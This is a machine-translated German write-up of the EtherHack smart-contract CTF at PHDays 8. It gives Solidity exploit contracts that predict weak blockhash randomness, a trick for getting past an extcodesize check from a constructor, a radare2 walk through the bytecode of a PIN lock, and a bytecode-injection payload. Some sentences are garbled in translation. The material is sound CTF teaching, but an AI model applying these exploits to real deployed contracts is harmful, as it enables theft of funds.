Auffinden von Sicherheitslücken in intelligenten Verträgen: EtherHack-Überprüfung an positiven Hack-Tagen 8

Bild

In diesem Jahr veranstalteten PHDays zum ersten Mal einen Wettbewerb namens EtherHack . Die Teilnehmer suchten nach Schwachstellen in intelligenten Verträgen, um die Geschwindigkeit zu erhöhen. In diesem Artikel informieren wir Sie über die Aufgaben des Wettbewerbs und mögliche Lösungsmöglichkeiten.

Azino 777


Gewinnen Sie die Lotterie und brechen Sie den Topf!


Die ersten drei Aufgaben betrafen Fehler bei der Generierung von Pseudozufallszahlen, über die wir kürzlich gesprochen haben: Vorhersage von Zufallszahlen in intelligenten Ethereum-Verträgen . Die erste Aufgabe basierte auf einem Pseudozufallszahlengenerator (PRNG), der den Hash des letzten Blocks als Entropiequelle zur Erzeugung von Zufallszahlen verwendete:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

Da das Ergebnis des Aufrufs der Funktion block.blockhash(block.number-1) für jede Transaktion innerhalb desselben Blocks dasselbe ist, kann der Angriff einen Exploit-Vertrag mit derselben Funktion rand() verwenden, um den Zielvertrag über eine interne Nachricht aufzurufen:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

Privat Ryan


Wir haben einen privaten Anfangswert hinzugefügt, den niemand jemals berechnen wird.


Diese Aufgabe ist eine etwas komplizierte Version der vorherigen. Die Seed-Variable, die als privat betrachtet wird, wird verwendet, um die Block-Ordnungszahl (block.number) zu versetzen, sodass der Hash des Blocks nicht vom vorherigen Block abhängt. Nach jeder Wette wird der Startwert auf einen neuen „zufälligen“ Versatz umgeschrieben. Zum Beispiel war es in der Slotthereum- Lotterie genau das.

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

Wie in der vorherigen Aufgabe musste der Hacker nur die Funktion rand() in den Vertrags-Exploit kopieren. In diesem Fall musste der Wert der privaten Variablen seed außerhalb der Blockchain abgerufen und dann als Argument an den Exploit gesendet werden. Dazu können Sie die Methode web3.eth.getStorageAt () aus der web3-Bibliothek verwenden:

Bild

Lesen Sie den Vertragsspeicher außerhalb der Blockchain, um den Anfangswert zu erhalten

Nach Erhalt des Anfangswertes muss dieser nur noch an den Exploit gesendet werden, der fast identisch mit dem in der ersten Aufgabe ist:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

Glücksrad


Diese Lotterie verwendet den Hash des nachfolgenden Blocks. Versuche es zu berechnen!


Bei dieser Aufgabe musste der Hash des Blocks ermittelt werden, dessen Nummer nach dem Platzieren der Wette in der Spielstruktur gespeichert wurde. Dieser Hash wurde dann extrahiert, um nach der nächsten Wette eine Zufallszahl zu generieren.

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

In diesem Fall gibt es zwei mögliche Lösungen.

  1. Rufen Sie den Zielvertrag zweimal über den Exploit-Vertrag auf. Das Ergebnis des Aufrufs der Funktion block.blockhash (block.number) ist immer Null.
  2. Warten Sie, bis 256 Blöcke eingedrungen sind, und machen Sie eine zweite Wette. Der gespeicherte Blocksequenznummern-Hash ist aufgrund der Einschränkungen der Ethereum Virtual Machine (EVM) für die Anzahl der verfügbaren Block-Hashes Null.

In beiden Fällen uint256(keccak256(bytes32(0))) % 100 oder „47“.

Ruf mich vielleicht an


Dieser Vertrag gefällt nicht, wenn andere Verträge ihn nennen.


Eine Möglichkeit, einen Vertrag vor dem Aufruf durch andere Verträge zu schützen, besteht darin, die Assembler-Anweisung EVM extcodesize , die die Größe des Vertrags an seine Adresse zurückgibt. Die Methode besteht darin, diese Anweisung für die Adresse des Transaktionssenders mithilfe der Assembler-Einfügung zu verwenden. Wenn das Ergebnis größer als Null ist, ist der Absender der Transaktion ein Vertrag, da normale Adressen in Ethereum keinen Code haben. Genau dieser Ansatz wurde in dieser Aufgabe verwendet, um zu verhindern, dass andere Verträge den Vertrag aufrufen.

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

Die Transaktionseigenschaft tx.origin verweist auf den ursprünglichen Ersteller der Transaktion und msg.sender auf den letzten Aufrufer. Wenn wir die Transaktion von der üblichen Adresse senden, sind diese Variablen gleich und wir erhalten revert() . Um unser Problem zu lösen, musste daher die Überprüfung des extcodesize tx.origin msg.sender , damit tx.origin und msg.sender unterschiedlich sind. Glücklicherweise gibt es in EVM eine nette Funktion, die dabei helfen kann:

Bild

Wenn der gerade platzierte Vertrag einen anderen Vertrag im Konstruktor aufruft, existiert er selbst noch nicht in der Blockchain, sondern fungiert ausschließlich als Brieftasche. Somit ist der Code nicht an den neuen Vertrag gebunden und extcodesize gibt Null zurück:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

Das Schloss


Seltsamerweise ist das Schloss geschlossen. Versuchen Sie, den PIN-Code über die Entsperrfunktion (bytes4 pincode) abzurufen. Jeder Freischaltversuch kostet 0,5 Äther.


Bei dieser Aufgabe erhielten die Teilnehmer keinen Code - sie mussten die Logik des Vertrags anhand seines Bytecodes wiederherstellen. Eine Möglichkeit war die Verwendung von Radare2, einer Plattform, die zum Zerlegen und Debuggen von EVMs verwendet wird .

Zu Beginn veröffentlichen wir ein Beispiel für die Zuweisung und geben den Code nach dem Zufallsprinzip ein:

 await contract.unlock("1337", {value: 500000000000000000}) →false 

Der Versuch ist natürlich gut, aber erfolglos. Versuchen Sie nun, diese Transaktion zu debuggen.

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

In diesem Fall weisen wir Radare2 an, die evm-Architektur zu verwenden. Dieses Tool stellt dann eine Verbindung zum Ethereum-Knoten her und ruft die Ablaufverfolgung dieser Transaktion in der virtuellen Maschine ab. Und jetzt sind wir endlich bereit, in den EVM-Bytecode einzutauchen.

Zunächst müssen Sie eine Analyse durchführen:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

Als nächstes zerlegen wir die ersten 1000 Anweisungen (dies sollte ausreichen, um den gesamten Vertrag abzudecken) mit dem Befehl pd 1000 und wechseln zum Anzeigen des Diagramms mit dem Befehl VV.

Bei EVM-Bytecode, der mit solc kompiliert wurde, steht normalerweise der Funktionsmanager an erster Stelle. Basierend auf den ersten vier Bytes der bytes4(sha3(function_name(params))) die die Funktionssignatur enthalten, die als bytes4(sha3(function_name(params))) , entscheidet der Funktionsmanager, welche Funktion aufgerufen werden soll. Wir interessieren uns für die unlock(bytes4) , die 0x75a4e3a0 .

Nach dem Ausführungsablauf mit dem Schlüssel s gelangen wir zu dem Knoten, der die callvalue mit dem Wert 0x6f05b59d3b20000 oder 0x6f05b59d3b20000 vergleicht, was 0,5 Ether entspricht:

 push8 0x6f05b59d3b20000 callvalue lt 

Wenn der bereitgestellte Äther ausreicht, befinden wir uns in einem Knoten, der einer Kontrollstruktur ähnelt:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

Der Code platziert den Wert 0x4 am oberen Rand des Stapels, überprüft die Obergrenze (der Wert sollte 0xff nicht überschreiten) und vergleicht ihn mit einem Wert, der vom vierten Element des Stapels (dup4) dupliziert wurde.

Wenn wir zum Ende des Diagramms scrollen, sehen wir, dass dieses vierte Element im Wesentlichen ein Iterator ist und diese Kontrollstruktur eine Schleife ist, die for(var i=0; i<4; i++):

 push1 0x1 add swap4 

Wenn wir den Körper der Schleife betrachten, wird es offensichtlich, dass sie vier eingehende Bytes auflistet und einige Operationen mit jedem der Bytes ausführt. Zunächst prüft die Schleife, ob das n-te Byte größer als 0x30 ist:

 push1 0x30 dup3 lt iszero 

und auch, dass dieser Wert kleiner als 0x39 ist:

 push1 0x39 dup3 gt iszero 

Dies ist im Wesentlichen eine Überprüfung, ob das angegebene Byte im Bereich von 0 bis 9 liegt. Wenn die Überprüfung erfolgreich ist, befinden wir uns im wichtigsten Codeblock:

Bild

Lassen Sie uns diesen Block in Teile zerlegen:

1. Das dritte Element im Stapel ist der ASCII-Code des n-ten Bytes des Pin-Codes. 0x30 (ASCII-Code für Null) wird auf den Stapel geschoben und dann vom Code dieses Bytes subtrahiert:

 push1 0x30 dup3 sub 

Das heißt, pincode[i] - 48 , und wir erhalten im Wesentlichen eine Ziffer aus dem ASCII-Code. Nennen wir es d.

2. 0x4 wird zum Stapel hinzugefügt und als Exponent für das zweite Element im Stapel verwendet, d:

 swap1 pop push1 0x4 dup2 exp 

Das heißt, d ** 4 .

3. Das fünfte Element des Stapels wird abgerufen und das Ergebnis der Potenzierung hinzugefügt. Nennen Sie diese Summe S:

 dup5 add swap4 pop dup1 

Das heißt, S += d ** 4 .

4. 0xa (ASCII-Code für 10) wird auf den Stapel geschoben und als Multiplikator für das siebte Element des Stapels verwendet (das vor dieser Addition das sechste war). Wir wissen nicht, was es ist, deshalb werden wir dieses Element U nennen. Dann wird d zum Ergebnis der Multiplikation addiert:

 push1 0xa dup7 mul add swap5 pop 

Das heißt: U = U * 10 + d oder einfacher ([0x1, 0x3, 0x3, 0x7] → 1337) dieser Ausdruck stellt den gesamten PIN-Code als Zahl aus einzelnen Bytes wieder her ([0x1, 0x3, 0x3, 0x7] → 1337) .

Das Schwierigste, was wir getan haben, ist, dass wir nach der Schleife zum Code übergehen.

 dup5 dup5 eq 

Wenn das fünfte und sechste Element auf dem Stapel gleich sind, führt uns der Ausführungsfluss zum Befehl sstore, der ein bestimmtes Flag im Vertragsspeicher setzt. Da dies die einzige Sstore-Anweisung ist, haben wir anscheinend danach gesucht.

Aber wie kommt man durch diesen Test? Wie wir bereits herausgefunden haben, ist das fünfte Element auf dem Stapel S und das sechste U. Da S die Summe aller Ziffern des auf die vierte Potenz angehobenen PIN-Codes ist, benötigen wir einen PIN-Code, für den diese Bedingung erfüllt ist. In unserem Fall ergab die Analyse, dass 1**4 + 3**4 + 3**4 + 7**4 nicht 1337 entspricht und wir nicht zur Anweisung des Gewinners sstore .

Aber jetzt können wir eine Zahl berechnen, die die Bedingungen dieser Gleichung erfüllt. Es gibt nur drei Zahlen, die als Summe ihrer Ziffern vierten Grades geschrieben werden können: 1634, 8208 und 9474. Jede von ihnen kann das Schloss öffnen!

Piratenschiff


Hey Salag! Ein Piratenschiff machte im Hafen fest. Lassen Sie ihn vor Anker gehen und mit Jolly Roger die Flagge hissen und nach Schätzen suchen.


Der Standardkurs der Vertragsausführung umfasst drei Aktionen:

  1. Ein Aufruf der Funktion dropAnchor() mit einer Blocknummer, die mehr als 100.000 Blöcke größer sein sollte als die aktuelle. Die Funktion erstellt dynamisch einen Vertrag, bei dem es sich um einen "Anker" handelt, der mit selfdestruct() nach dem angegebenen Block "aufgehoben" werden selfdestruct() .
  2. Ein Aufruf der Funktion pullAnchor() , die selfdestruct() initiiert, wenn genügend Zeit vergangen ist (viel Zeit!).
  3. Rufen Sie sailAway () auf, wodurch blackJackIsHauled auf true gesetzt wird, wenn kein Ankervertrag besteht.

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

Die Sicherheitsanfälligkeit liegt auf der Hand: Beim Erstellen eines Vertrags in der Funktion dropAnchor() Assembler-Anweisungen direkt dropAnchor() . Die Hauptschwierigkeit bestand jedoch darin, eine Nutzlast zu erstellen, mit der wir die block.number .

In EVM können Sie Verträge mit der Anweisung create erstellen. Seine Argumente sind Wert, Eingabeversatz und Eingabegröße. value ist ein Bytecode, der den Vertrag selbst hostet (Initialisierungscode). In unserem Fall wird der Initialisierungscode + Vertragscode in uint256 abgelegt (danke an das GasToken- Team für die Idee):

 0x6a63004141414310585733ff600052600b6015f3 

Dabei sind die fettgedruckten Bytes der Code des gehosteten Vertrags und 414141 die Injektionsstelle. Da wir vor der Aufgabe stehen, den Wurfoperator loszuwerden, müssen wir unseren neuen Vertrag einfügen und den nachfolgenden Teil des Initialisierungscodes neu schreiben. Versuchen wir, den Vertrag mit der Anweisung 0xff zu versehen, was zur bedingungslosen Entfernung des Ankervertrags mit selfdestruct() :

  68 414141ff3f3f3f3f3f ;;  push9 Vertrag
 60 00 ;;  push1 0
 52 ;;  mstore
 60 09 ;;  push1 9
 60 17 ;;  push1 17
 f3 ;;  zurück 

Wenn wir diese Folge von Bytes in uint256 (9081882833248973872855737642440582850680819) und als Argument für die Funktion dropAnchor() verwenden, erhalten wir den folgenden Wert für die dropAnchor() (der fettgedruckte Bytecode ist unsere Nutzlast):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

Nachdem die Codevariable Teil der Initcodevariablen geworden ist, erhalten wir den folgenden Wert:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

Jetzt sind die High-Bytes 0x6300 weg und der Rest des Bytecodes wird nach 0xf3 (return) verworfen.

Bild

Als Ergebnis wird ein neuer Vertrag mit der geänderten Logik erstellt:

  41 ;;  Münzbasis
 41 ;;  Münzbasis
 41 ;;  Münzbasis
 ff ;;  Selbstzerstörung
 3f ;;  Müll
 3f ;;  Müll
 3f ;;  Müll
 3f ;;  Müll
 3f ;;  Müll 

Wenn wir jetzt die Funktion pullAnchor () aufrufen, wird dieser Vertrag sofort zerstört, da block.number nicht mehr überprüft wird. Danach rufen wir die Funktion sailAway () auf und feiern den Sieg!

Ergebnisse


  1. Erster Platz und Ausstrahlung in Höhe von 1.000 US-Dollar: Alexey Pertsev (p4lex)
  2. Zweiter Platz und Ledger Nano S: Alexey Markov
  3. Dritter Platz und PHDays Souvenirs: Alexander Vlasov

Alle Ergebnisse: etherhack.positive.com/#/scoreboard

Bild

Herzlichen Glückwunsch an die Gewinner und vielen Dank an alle Teilnehmer!

PS Vielen Dank an Zeppelin , der den Quellcode der Ethernaut CTF- Plattform Open Source gemacht hat.

Source: https://habr.com/ru/post/de414959/


All Articles